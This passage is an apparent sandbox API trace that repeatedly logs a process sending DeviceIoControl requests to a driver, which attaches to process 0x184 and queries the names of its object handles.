PriorityBoost=0) [0112.791] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.791] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.791] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.791] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.791] PsAcquireProcessExitSynchronization () returned 0x0 [0112.791] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.791] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0017d2a40, HandleInformation=0x0) returned 0x0 [0112.791] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.791] PsReleaseProcessExitSynchronization () returned 0x2 [0112.791] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.791] ObQueryNameString (in: Object=0xfffff8a0017d2a40, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.791] ObfDereferenceObject (Object=0xfffff8a0017d2a40) returned 0x1 [0112.791] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.791] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.791] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.791] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.791] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.791] PsAcquireProcessExitSynchronization () returned 0x0 [0112.791] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.791] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d5d80, HandleInformation=0x0) returned 0x0 [0112.791] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.791] PsReleaseProcessExitSynchronization () returned 0x2 [0112.791] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.791] ObQueryNameString (in: Object=0xfffff8a0089d5d80, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.791] ObfDereferenceObject (Object=0xfffff8a0089d5d80) returned 0x1 [0112.791] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.791] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.791] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.791] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.791] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.791] PsAcquireProcessExitSynchronization () returned 0x0 [0112.792] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.792] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00122ae60, HandleInformation=0x0) returned 0x0 [0112.792] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.792] PsReleaseProcessExitSynchronization () returned 0x2 [0112.792] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.792] ObQueryNameString (in: Object=0xfffff8a00122ae60, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.792] ObfDereferenceObject (Object=0xfffff8a00122ae60) returned 0x1 [0112.792] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.792] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.792] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.792] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.792] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.792] PsAcquireProcessExitSynchronization () returned 0x0 [0112.792] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.792] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00122af70, HandleInformation=0x0) returned 0x0 [0112.792] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.792] PsReleaseProcessExitSynchronization () returned 0x2 [0112.792] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.792] ObQueryNameString (in: Object=0xfffff8a00122af70, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.792] ObfDereferenceObject (Object=0xfffff8a00122af70) returned 0x1 [0112.792] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.792] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.792] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.792] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.792] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.792] PsAcquireProcessExitSynchronization () returned 0x0 [0112.792] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.792] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001232c00, HandleInformation=0x0) returned 0x0 [0112.792] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.792] PsReleaseProcessExitSynchronization () returned 0x2 [0112.792] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.792] ObQueryNameString (in: Object=0xfffff8a001232c00, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.792] ObfDereferenceObject (Object=0xfffff8a001232c00) returned 0x1 [0112.793] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.793] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.793] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.793] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.793] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.793] PsAcquireProcessExitSynchronization () returned 0x0 [0112.793] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.793] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001685cc0, HandleInformation=0x0) returned 0x0 [0112.793] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.793] PsReleaseProcessExitSynchronization () returned 0x2 [0112.793] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.793] ObQueryNameString (in: Object=0xfffff8a001685cc0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.793] ObfDereferenceObject (Object=0xfffff8a001685cc0) returned 0x1 [0112.793] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.793] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.793] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.793] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.793] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.793] PsAcquireProcessExitSynchronization () returned 0x0 [0112.793] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.793] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001523570, HandleInformation=0x0) returned 0x0 [0112.793] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.793] PsReleaseProcessExitSynchronization () returned 0x2 [0112.793] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.793] ObQueryNameString (in: Object=0xfffff8a001523570, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.793] ObfDereferenceObject (Object=0xfffff8a001523570) returned 0x1 [0112.793] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.793] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.793] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.793] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.793] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.793] PsAcquireProcessExitSynchronization () returned 0x0 [0112.793] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.794] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001527770, HandleInformation=0x0) returned 0x0 [0112.794] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.794] PsReleaseProcessExitSynchronization () returned 0x2 [0112.794] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.794] ObQueryNameString (in: Object=0xfffff8a001527770, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.794] ObfDereferenceObject (Object=0xfffff8a001527770) returned 0x1 [0112.794] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.794] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.794] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.794] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.794] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.794] PsAcquireProcessExitSynchronization () returned 0x0 [0112.794] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.794] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00152e880, HandleInformation=0x0) returned 0x0 [0112.794] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.794] PsReleaseProcessExitSynchronization () returned 0x2 [0112.794] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.794] ObQueryNameString (in: Object=0xfffff8a00152e880, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.794] ObfDereferenceObject (Object=0xfffff8a00152e880) returned 0x1 [0112.794] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.794] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.794] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.794] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.794] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.794] PsAcquireProcessExitSynchronization () returned 0x0 [0112.794] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.794] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001d0a770, HandleInformation=0x0) returned 0x0 [0112.794] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.794] PsReleaseProcessExitSynchronization () returned 0x2 [0112.794] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.794] ObQueryNameString (in: Object=0xfffff8a001d0a770, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.795] ObfDereferenceObject (Object=0xfffff8a001d0a770) returned 0x1 [0112.795] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.795] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.795] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.795] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.795] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.795] PsAcquireProcessExitSynchronization () returned 0x0 [0112.795] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.795] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0015484a0, HandleInformation=0x0) returned 0x0 [0112.795] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.795] PsReleaseProcessExitSynchronization () returned 0x2 [0112.795] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.795] ObQueryNameString (in: Object=0xfffff8a0015484a0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.795] ObfDereferenceObject (Object=0xfffff8a0015484a0) returned 0x1 [0112.795] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.795] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.795] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.795] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.795] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.795] PsAcquireProcessExitSynchronization () returned 0x0 [0112.795] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.795] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001566750, HandleInformation=0x0) returned 0x0 [0112.795] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.795] PsReleaseProcessExitSynchronization () returned 0x2 [0112.795] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.795] ObQueryNameString (in: Object=0xfffff8a001566750, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.795] ObfDereferenceObject (Object=0xfffff8a001566750) returned 0x1 [0112.795] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.795] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.795] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.795] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.795] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.795] PsAcquireProcessExitSynchronization () returned 0x0 [0112.795] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.796] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001558990, HandleInformation=0x0) returned 0x0 [0112.796] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.796] PsReleaseProcessExitSynchronization () returned 0x2 [0112.796] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.796] ObQueryNameString (in: Object=0xfffff8a001558990, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.796] ObfDereferenceObject (Object=0xfffff8a001558990) returned 0x1 [0112.796] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.796] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.796] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.796] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.796] PsAcquireProcessExitSynchronization () returned 0x0 [0112.796] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.796] ObReferenceObjectByHandle (in: Handle=0x184, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0015bffc0, HandleInformation=0x0) returned 0x0 [0112.796] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.796] PsReleaseProcessExitSynchronization () returned 0x2 [0112.796] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.796] ObQueryNameString (in: Object=0xfffff8a0015bffc0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.796] ObfDereferenceObject (Object=0xfffff8a0015bffc0) returned 0x1 [0112.796] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.796] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.796] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.796] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.796] PsAcquireProcessExitSynchronization () returned 0x0 [0112.796] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.796] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001df1770, HandleInformation=0x0) returned 0x0 [0112.796] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.796] PsReleaseProcessExitSynchronization () returned 0x2 [0112.796] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.796] ObQueryNameString (in: Object=0xfffff8a001df1770, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.796] ObfDereferenceObject (Object=0xfffff8a001df1770) returned 0x1 [0112.797] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.797] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.797] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.797] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.797] 